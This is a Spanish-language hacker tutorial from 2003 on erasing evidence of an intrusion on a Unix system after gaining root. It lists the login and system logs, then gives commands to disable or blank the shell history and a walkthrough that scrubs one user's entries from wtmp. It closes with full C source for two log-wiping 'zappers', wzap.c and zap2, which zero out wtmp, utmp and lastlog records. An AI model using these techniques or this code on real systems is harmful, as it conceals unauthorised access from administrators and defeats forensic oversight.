 ---------------------------------------
 ---------------------------------------
 Borrando tus Huellas en un Sistema Unix
 ---------------------------------------

 Creado por oJ3Nok ---------------------
 
 01/01/03  ------ www. ic3t3am.tk ------
 ---------------------------------------
 ---------------------------------------


 Contenidos del Articulo
 -----------------------

 1 - Introduccin / Que necesito 

 2 - Logs /  Descripcin / Ubicacin 

 3 - TCP-Wrapper

 4 - Comandos Importantes y su Fin

 5 - Programas 

 6 - Manos a la Obra

 7 - Fuentes de Programas
 
 8 - Despedida


 1 -  Introduccin
      ------------

  Por que debera borrar mis huellas ?

 Esta es la respuesta ms fcil ... Para que al administrador victima del ataque
 tenga trabajar ms para poder desenmascararte, y en la mejor de las situaciones
 no se entere que estuvimos por ahi ... XD

  Que necesito saber o tener para seguir leyendo ?

 - Un sistema *NIX, de preferencia Linux .
 - Conocimientos de intruciones y conseguir acceso root.
 - Conocimientos acerca de los comandos bsicos en Unix
 - Saber de tica Hacker 
3 - Manejar Editores de texto como vi, emacs o pico.


 2 - Logs
     ----

  que son estos ? 
 
 Estos son presisamente los archivos que se encargan de registrar
 todo lo que hacemos dentro de una maquina ( la compu ), ya sea el usuario de menor 
 rango hasta el root.
 
  donde estan los logs ? 

 Cada programa, generalmente, utiliza al demonio syslogd para generar el registro
 de que es lo que se hizo .. y se guardan ( creo que asi lo definir ) en el archivo
 /etc/syslog.conf

 
 Veamos como sera la visualizacin de este archivo :
 ---------------------------------------------------

 [oJ3Nok@ic3 Log]$ cat /etc/syslog.conf

# Log all kernel messages to the console.
# Logging much else clutters up the screen.
#kern.*                                                 /dev/console

# Log anything (except mail) of level info or higher.
# Don't log private authentication messages!
*.info;mail.none;authpriv.none;cron.none                /var/log/messages

# The authpriv file has restricted access.
authpriv.*                                              /var/log/secure

# Log all the mail messages in one place.
mail.*                                                  /var/log/maillog


# Log cron stuff
cron.*                                                  /var/log/cron

# Everybody gets emergency messages
*.emerg                                                 *

# Save news errors of level crit and higher in a special file.
uucp,news.crit                                          /var/log/spooler

# Save boot messages also to boot.log
local7.*                                                /var/log/boot.log

[oJ3Nok@ic3b0X Log]$

-----------------------------------------------------

 Aqui Podemos ver Siete Lugares en los cuales se encuentran Logs .

 /dev/console       -->  Sin importancia 
 ------------


 /var/log/messages  :
 ----------------- 

 Contiene un tipo de informacin miscelanea , segn se le haya asignado
 en /etc/syslog.conf  


 /var/log/secure   :
 ---------------

 Aqui se almacenan todos los eventos de seguridad,  conexiones realizadas al 
 equipo, cambios de usuario (su, etc....). Buscar conexiones a servicios poco 
 frecuentes, direcciones IP de conexin poco frecuentes y todo lo que se sale 
 de lo habitual. 


 /var/log/maillog   :
 ----------------
  

 /var/log/spooler   :  
 ---------------


 /var/log/boot.log  :  
 -----------------


 Otro que no est en ( mi ) syslog.conf IMPORTANTE :
 
 xferlog  :
 -------

 Empleado por algunos servidores de ftp para registrar las transferencias
 de ficheros ficheros del servidor WWW: En los casos en los que el atacante ha
 realizado primero un escaneo de vulnerabilidades en el servidor WWW aparecen
 intentos de conexin a cgi que no estn instalados.

 
 wtmp y wtmpx  :
 ------------

 Informacin sobre los accesos con xito al equipo, usuario que se
 conecta, protocolo que emplea, maquina origen de la conexin, etc. se puede
 emplear el 

 Aqui se encuentra la informacin sobre los accesos con exito al equipo, 
 esto registra el usuario que se ha conectado, la maquina de origen 
 ( aunque no sea la de nosotros no debemos dejarlo pasar ) , etc ...

 Si quieres verlo puedes hacerlo asi :

 
 [oJ3Nok@ic3b0X Log]$ who /var/log/wtmp
 [oJ3Nok@ic3b0X Log]$ who ./wtmp


  --> wtmp : Este, guarda las IPs con las que se ha accedido, es importante 
             dejarlo limpio, lo podrs encontrar en /var/log/wtmp o /var/adm/wtmp

 Ms adelante del artculo, dar algunos programas que se encargaran de hacer
 el trabajo por nosotros ( para ficheros binarios ) .
 Su forma de utilizacin y fuentes de estos .


 utmp y utmpx  :
 ------------

 Informacin sobre los usuarios que estn conectados en un momento
 dado en un equipo, es un fichero binario, aunque se puede emplear el comando
 who para analizarlos. 

 --> utmp : Aqui, se guardan todos los accesos al sistema, por los usuarios y
             se encuentra en /etc/utmp o en /var/adm/utmp


 Lastlog :
 -------
 
 Este fichero guarda la hora de el ltimo acceso del usuario y se encuentra 
 ubicado en /var/adm/lastlog


 Acct  :
 ----

 Aqui se registran los comandos usados por los usuarios, se encuentra 
 ubicado en /var/adm/acct


 El fichero ~/.bash_history :
 --------------------------

 Registra todo lo que haces .. ( luego entramos en detalles ).


 -----------------------------------------------------------------------------
| Como se pueden dar cuenta casi todos los registros se encuentran en /var/log|
| pero tambin en algunos sistemas estan en /var/adm                          |
 -----------------------------------------------------------------------------

 Consejo :
 
 En este mismo momento revisen el Directorio /var/log o /var/adm , 
 para que se vayan dando cuenta de los ficheros que se encuentran
 ah .. revisen los ficheros que ah aparecen. 

 
 3 - TCP-Wrapper 
     -----------

 El TCP-WRAPPER es una herramienta parecida al Syslog, pero vinculada a 
 servicios exclusivos del internet daemon (ftp, telnet, mail...). Adems de 
 registrar toda actividad referente a la autentificacin de cualquiera de estos 
 servicios es capaz de filtrarlos, restringindolos de manera que slo 
 ciertos usuarios puedan conectarse, por ejemplo a travs de un firewall.

 Para borrar nuestras huellas del TCP-WRAPPER tenemos que seguir el mismo 
 proceso que con el Syslog (buscar el fichero de configuracin, modificar los 
ficheros vinculados...).


 4 - Comandos Importantes y su fin
     -----------------------------

 " unset "
 ---------

 Este comando se utiliza de la siguiente manera y sirve para detener el registro
 del  historial del shell :

 [victima@localhost home]# unset HISTFILE; unset SAVEHIST 
 [victima@localhost home]#


 " ln -s /dev/null ~/.bash_history "
   --------------------------------

 Este comando se utiliza para enlazar ~/.bash_history a /dev/null , con lo que
 se evitaran tener que editar el ~/.bash_history . Luego de enlazarlo , recuerden
 borrar el ~/.bash_history

 [victima@localhost home]# ln -s /dev/null ~/.bash_history
 [victima@localhost home]# ls -l .bash_history
 1rwxrwxrwx 1 root root 22 Jul 26 22:59 .bash_history ---> /dev/null


 " touch "
   -----

 Este comando es utilizado para reestablecer la fecha y la hora del ltimo acceso
 a un archivo


 5 - Programas
     ---------
 
 wzap : Zapper, que se encarga de borrar a un usuario especifico dentro del
        registro wtmp. 

 zap2 : Zapper, por exelencia, borra el wtmp, utmp y el lastlog ..
        Cuando copies la fuente, fijate el sistema que quieres atacar, pues
        recuerda que los logs, se encuentran en diferentes directorios ..

        un ejemplo de la linea de cdigo a modificar : 
 
        #define WTMP_NAME "/usr/adm/wtmp"
        #define UTMP_NAME "/etc/utmp"
        #define LASTLOG_NAME "/usr/adm/lastlog"


 6 - Manos a la Obra 
     ---------------

 Ahora asumiremos que ya estamos en la maquina ? que hago ahora ..
 pues aplicar todo lo que leiste ... veamos 

 Lo Primero es visualizar el archivo :

 [victima@localhost log]# cat /etc/syslog.conf 
 
 Y determinar en que Directorios se encuentran los Logs ..
  
 Nota :
 
 La fuente de los programas mencionados,se encuentra ms adelante, en
 la seccion " fuentes " . 

 
 [victima@localhost log]# who ./wtmp  ( estamos en /var/log ) 
 axe      ftpd17264 Dec  31 12:53 ( 172.32.67.2 )
 root     tty1      Jan  1  13:4
 root     tty1      Jan  1  13:466
 root     tty1      Jan  1  13:47
 root     tty1      Jan  1  13:48
 root     tty1      Jan  1  13:49
 root     tty1      Jan  1  13:50
 axe      ftp841    Jan  1  12:53 ( 172.32.67.3 )
 axe      ftpd3137  Jan  1  12:53 ( 172.32.67.3 )
 axe      ftpd83    Jan  1  12:53 ( 172.32.67.3 )

 [victima@localhost log]# gcc wzap.c -o wzap 

 [victima@localhost log]# ./wzap 
 Enter username to zap from the wtmp : axe        //  le decimos que borre las entradas
 opening file...                                      del usuraio " axe "
 opening output file...
 working...                                                     

 [victima@localhost log]# who ./wtmp.out         // La entrada de " axe " no est en el
 root     tty1      Jan  1  13:4                   archivo wtmp.out
 root     tty1      Jan  1  13:466
 root     tty1      Jan  1  13:47
 root     tty1      Jan  1  13:48
 root     tty1      Jan  1  13:49
 root     tty1      Jan  1  13:50

 [victima@localhost log]# cp wtmp.out wtmp
 cp: overwrite `wtmp'? y
 [root@localhost log]#                             // Borramos nuestra entrada al Sistema :)

 Ahora con los editores ( pico, vi o emacs ), debemos " editar " el contenido de :
 
 [victima@localhost log]# pico /var/log/messages
 
 Aqui te aparecern entradas y salidas de usuarios .. deberas borrar una o dos ..
 ( dependiendo de lo que te salga ) :

 ene  1 14:00:07 localhost su(pam_unix)[9414]: session opened for user root by axe(uid=501)
 
 En este caso solo debemos borrarla y guardar el archivo ...


 [root@localhost log]# pico /var/log/secure

 Y si entraste por ftp debes editar tambin el contendi de xferlog 
 
 etc .. etc ..
 
 Los ms importantes que deberas haber editar son :

 - wtmp        --> se borra la entrada de un usuario con " wzap "
 - messages    --> se edita con algn editor
 - secure      --> se edita con algn editor
 - xferlog     --> se edita con algn editor / entradas por ftp

 
 Ahora debemos eliminar todo lo que presionamos ...
 
 estos los puedes editar con un :
 
 [root@localhost log]# pico ~/.bash_history 
 
 El inconveniente de esto, es que quedar registrada nuestra salida .. :(

 Pero no te preocupes ... hay otras maneras de  hacerlo : 



 [root@localhost log]# unset HISTFILE; unset SAVEHIST     // Desactivar Historial 
 
 --------------------

 [root@localhost log]# ln -s /dev/null ~/.bash_history   // Lo vinculamos a /dev/null
 
 Cosa que no queden registros de nada --- 
 
 Ahora recuerda borrar el ~/.bash_history

 
 
 Con esto deberan quedar los registros ms frecuentes, limpios --- pero siempre 
 recuerda que ningn sistema esta configurado igual ... perfectamenete , puede
 tener el TCP-Wrapper , por lo que nos demoraremos un poco ms en borrar nuestras
 huellas ...
 
 Otra cosa importante es que no empieces a hacer pelotudeces en el sistema victima,
 me refiero a borrar y modificar archivos que no sean de logs ni alguno que nos
 sirva de entrada en una proxima ocacin ... XD


 7 - Fuentes de Zappers ..
     ------------------

 | wzap.c |
 
 ------------- empieza aqui --------------------

/*  Dave's neato wtmp program
 *      wzap.c
 *      NOTE:   reads 'wtmp' from current directory and writes
 *                      'wtmp.out' in cuurent directory...
 */

#include        <utmp.h>
#include        <stdio.h>
#include        <time.h>
#include        <sys/time.h>

FILE *Wfile, *Wout;

struct utmp myutmp;

main(argc,argv)
int argc;
char *argv[];
{
        char username[20];
        char yesorno[5];
        long thetime, posi;

        if (argc<2) {
                printf("\n\n");
                printf("Enter username to zap from the wtmp: ");
                scanf("%s",username);
        } else strcpy(username,argv[1]);

        printf("\nopening file...\n");
        if ((Wfile = fopen("wtmp","r"))==NULL)
                { printf("no open file\n"); exit(0); }
        printf("\opening output file...\n");
        if ((Wout = fopen("wtmp.out","wr"))==NULL)
                { printf("no open output file...\n"); exit(0); }

        printf("working...\n");
        while(!feof(Wfile)) {
                fread(&myutmp,sizeof(myutmp),1,Wfile);
                if (strncmp(myutmp.ut_name,username,8))
                        fwrite(&myutmp,sizeof(myutmp),1,Wout);
        }
        fclose(Wfile);
        fclose(Wout);
}

 _______________ corta aqui _______________________________________


 |  Zap2 - z2 .c  |

 ------------- empieza aqui --------------------

#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"

int f;

void kill_utmp(who)
char *who;
{
    struct utmp utmp_ent;

  if ((f=open(UTMP_NAME,O_RDWR))>=0) {
     while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
       if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
                 bzero((char *)&utmp_ent,sizeof( utmp_ent ));
                 lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
                 write (f, &utmp_ent, sizeof (utmp_ent));
            }
     close(f);
  }
}

void kill_wtmp(who)
char *who;
{
    struct utmp utmp_ent;
    long pos;

    pos = 1L;
    if ((f=open(WTMP_NAME,O_RDWR))>=0) {

     while(pos != -1L) {
        lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
        if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
          pos = -1L;
        } else {
          if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
               bzero((char *)&utmp_ent,sizeof(struct utmp ));
               lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
               write (f, &utmp_ent, sizeof (utmp_ent));
               pos = -1L;
          } else pos += 1L;
        }
     }
     close(f);
  }
}

void kill_lastlog(who)
char *who;
{
    struct passwd *pwd;
    struct lastlog newll;

     if ((pwd=getpwnam(who))!=NULL) {

        if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
            lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
            bzero((char *)&newll,sizeof( newll ));
            write(f, (char *)&newll, sizeof( newll ));
            close(f);
        }

    } else printf("%s: ?\n",who);
}

main(argc,argv)
int argc;
char *argv[];
{
    if (argc==2) {
        kill_lastlog(argv[1]);
        kill_wtmp(argv[1]);
        kill_utmp(argv[1]);
        printf("Zap2!\n");
    } else
    printf("Error.\n");
} 
 
  _______________ corta aqui _____________________________



 8 -  Despedida 
      ---------

 Como todo ser humano cometo errores y digo cosas demas .. si encuentras algo 
 como esto por favor comunicate a oJ3Nok@hotmail.com ( XD ) ... tambin se 
 aceptan criticas para mejorar el material ..

 Espero que les sirva de algo este " how-to " ..
 
 Lo seguir actualizando con ms fuentes de software y cosas as ..
 asique sigan visitando www.ic3t3am.tk ..

 Para crear este Manual , saque info de muchos sitios y en cierta forma me vi en la 
 obligacin de copiar ciertos fragmentos interesantes .. que no hubiera 
 podido explicar con mejores palabras .. gracias a todos lo que colaboraron sin 
 saberlo , y a los que les moleste , comuniquense conmigo .

 Para los que an no saben : # gcc wzap.c -o wzap
                             # ./wzap


 Gracias a toss ... y a los prximos .. ;)

 ltima actualizacin : 01/01/03 


  | oJ3Nok |  www.ic3t3am.tk  


